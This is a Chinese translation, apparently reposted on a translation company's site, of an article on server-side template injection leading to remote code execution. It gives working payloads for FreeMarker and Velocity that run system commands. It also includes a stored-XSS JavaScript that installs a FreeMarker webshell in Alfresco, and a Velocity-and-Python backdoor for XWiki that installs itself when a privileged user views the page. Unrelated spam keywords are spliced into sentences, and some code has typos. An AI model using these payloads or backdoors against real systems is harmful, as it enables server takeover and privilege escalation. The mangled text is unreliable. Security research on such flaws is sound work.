模板库翻译 服务端模板注入:现代WEB远程代码执行(补充翻译和扩展)
日期:2023-03-11 12:39:36 / 人气: 570 / 发布者:成都翻译公司
低权限用户可以借助一个存储XSS漏洞,利用FreeMarker模板注入方式获取WebShell。服务器端模板注入:现代WEB远程代码执行(附加翻译和扩展)
羽扇豆·2015/09/02 10:21
0x00 前言
原文链接:
*近看了这篇文章,不过不是什么新技术,但是作者给出的两个攻击案例都很好。看到drops有人翻译了这篇文章,但是没有翻译攻击案例,所以加了这部分内容。优越的。这两种情况分别是针对FreeMarker和Velocity的,所以作者针对这两个模板引擎写Exploit的过程也翻译了一下。
0x01 开发漏洞
许多模板引擎试图限制模板程序执行任意代码的能力,以防止应用层逻辑对表达式引擎的攻击。一些模板引擎试图通过沙盒和其他方式安全地处理不受信任的用户输入。在这些措施下,开发模板后门变得非常具有挑战性。
自由标记
FreeMarke 是*流行的 Java 模板之一,也是*常交给用户操作的模板。FreeMarker 官网解释了允许“用户提供”模板的危险:
对应翻译:
22.是否允许用户上传模板文件?这会影响安全吗?一般来说,除非是管理员或受信任的用户,否则您不应允许用户进行此类操作。考虑到模板是一个类似于 *.java 文件的源代码文件。如果您仍然希望允许用户上传模板文件,您应该考虑以下事项:
在DoS等一些低风险的安全问题之后,我们可以看到以下内容:
对应翻译:
内置新运算符(Configuration.setNewBuiltinClassResolver、Environment.setNewBuiltinClassResolver):使用“com.example.SomeClass”?new() 在这样的模板文件中。这对于FTL库很重要,但是在普通模板文件的时候不需要使用。FreeMarker 包含一个 TemplateModel 接口,可以用来构造任何 java 对象,new 操作符可以实例化 TemplateModel 的实现类。一些危险的 TemplateModel 实现类可能在类路径中。即使某个类没有实现 TemplateModel 接口,也会执行该类中的静态代码块。为了避免这种情况,您可以使用 TemplateClassResolver 类来限制对该类的访问,如下所示: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
这个警告有点神秘,但它提醒我们可能可以使用内置的 new 运算符来完成 exp。我们来看看有关 new 运算符的文档:
对应翻译:
这个内置操作符需要考虑安全问题,因为模板编写者可以使用它来构造任意的 java 对象,然后使用这些构造的 java 对象,只要它们实现了 TemplateModel 接口。并且模板编写者也可以触发类的静态代码块中的代码,即使该类没有实现 TemplateModel 接口。如果您允许不太信任的用户上传模板,您应该查看以下主题。
TemplateModel的实现类中有没有什么有用的类?我们来看看这个接口的JavaDoc:
出现了一个类的名称:执行。
查看这个类的细节,可以发现它可以做我们想做的事情:接收输入并执行
使用它非常简单:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
此有效负载稍后将非常有用。
添加:
研究了TemplateModel的其他实现类,发现ObjectConstructor类也很有用。从名字上可以看出,这个类是用来构造其他类的对象的。你可以通过查看代码来了解如何使用它:
通过代码可以看到提供的类名和构造函数的参数,然后我们就可以使用ObjectConstructor类来构造我们想要的类了。有了这个,我们可以执行任何java代码。下面给出两个例子,一个是执行命令,另一个是文件读取。
速度
Velocity 是另一个流行的 Java 模板框架,它很难被利用。没有“安全注意事项”页面来指出有风险的函数和内部变量。下面的截图显示了使用 Burp 对变量名进行暴力破解。左边是payload,右边是服务器的返回值。
变量 class 看起来很有用,因为它返回 Object 类的 Class 对象。通过谷歌找到这个链接:
你可以看到一个方法和一个属性:
我们可以结合 $class.inspect 和 $class.type 来构造任何对象。然后我们可以通过 Runtime.exec() 执行任意命令。这个想法可以用下面的代码来确认,会造成延迟。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
获取命令执行结果有点麻烦:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
添加:
不得不说,原作者的方法有点麻烦,而且这个方法只能用在Velocity Tool中,不能用在Velocity Engine中。其实反射是可以直接使用的。代码如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
0x02 两种情况 情况一:露天
Alfresco 是一个 CMS 系统。低权限用户可以利用存储型 XSS 漏洞通过 FreeMarker 模板注入获取 WebShell。之前创建的 FreeMarker 后门可以直接使用,但是我将其扩展为使用请求参数作为命令:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低权限用户没有编辑模板的权限,但他们可以通过使用管理员帐户存储 XSS 来安装此后门。我编写了以下 JavaScript 代码来完成这次攻击:
#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID不同,但低权限用户也可以通过“数据字典”轻松获取。此外,与其他可以控制整个Web服务器的应用程序管理员不同,露天系统管理员可以进行的操作受到严格限制。
案例 2:XWiki Enterprise
XWiki Enterprise 是一个专业的维基程序。在默认配置下,匿名用户可以在编辑 wiki 页面时注册用户并嵌入 Velocity 模板代码。此功能使其成为模板注入的理想目标。但是,之前创建的 Velocity 负载无法使用,因为此处无法使用 $class。
XWiki 对 Velocity 的评价:
对应翻译:
XWiki沙箱提供安全的对象访问,每个API调用都会检测权限并禁止对未授权资源的操作,因此不需要特殊的权限控制。其他脚本语言需要脚本语言编写者具有执行权限,但除此之外,访问服务器上的所有资源。
...未经许可,您不能实例化对象,您只能使用文本和 XWiki API 提供的安全资源。如果您按照 XWiki 提供的正确方法,XWiki 可以安全地开发大量应用程序。
…… 浏览包含脚本的页面不需要Programming权限,保存时才需要。
也就是说,XWiki 不仅支持 Velocity,还支持 Groovy 和 Python 等没有沙箱的脚本。但是模板库翻译,此操作需要编程权限。这是一件好事,因为它将特权升级变成了任意代码执行。由于我们只能使用 Velocity,我们必须使用 XWiki API。
$doc 类中有一些非常有趣的方法。聪明的读者可能会发现一个缺陷:
维基页面内容的作者是*后一个编辑它的用户。save方法和saveAsAuthor方法的区别在于save方法不使用作者的身份来保存内容,而是使用当前访问页面的用户的身份。换句话说模板库翻译,一个低权限的用户可以创建一个 wiki 页面,当具有编程权限的用户查看、编辑和保存页面时,脚本将被执行。让我们注入以下 Python 后门:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我们只需要添加一些代码即可获得管理员权限:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
当具有编程权限的用户查看包含此类内容的页面时,将自动安装后门。之后,访问此页面的每个人都可以执行任何命令:
0x03 附言
作者提出的攻击思路还是很不错的。我也知道这种模板文件可以用来执行任意代码,但我没有深入思考进一步的使用方法。传统的攻击思路一般是获取后台管理员权限。然后利用上传等漏洞getshell,但其实后台编辑模板功能在很多情况下是可以直接执行任意代码的。经测试,大多数具有编辑模板功能的应用都存在类似问题。看来攻击过程中的技术理解越透彻。越广。
相关阅读Relate
热门文章 Recent
- 高中生英语作文模板及翻译 低头族高考英语作文带翻译5篇2023-03-11
- 增值税发票翻译模板下载 虚开增值税专用发票调研报告2023-03-11
- 翻译招聘方案模板 外文翻译工作简历模板2023-03-11
- 宁波大学成绩单翻译模板 大学成绩单英文翻译样本2023-03-11
- 预付款保函翻译模板 如何开预付款保函2023-03-11
- 建设银行水单翻译模板 中国建设银行的专用字体是什2023-03-11
- 德语专利翻译2023-03-11
- 感谢信父母英语范文加翻译模板 英语作文感谢信加翻译2023-03-11
- 日语 翻译 模板 日语翻译岗位个人简历工作经历范文2023-03-11
- 英国签证攻略户口本翻译模板 英国旅游签证超完备攻略及案例汇总2023-03-11


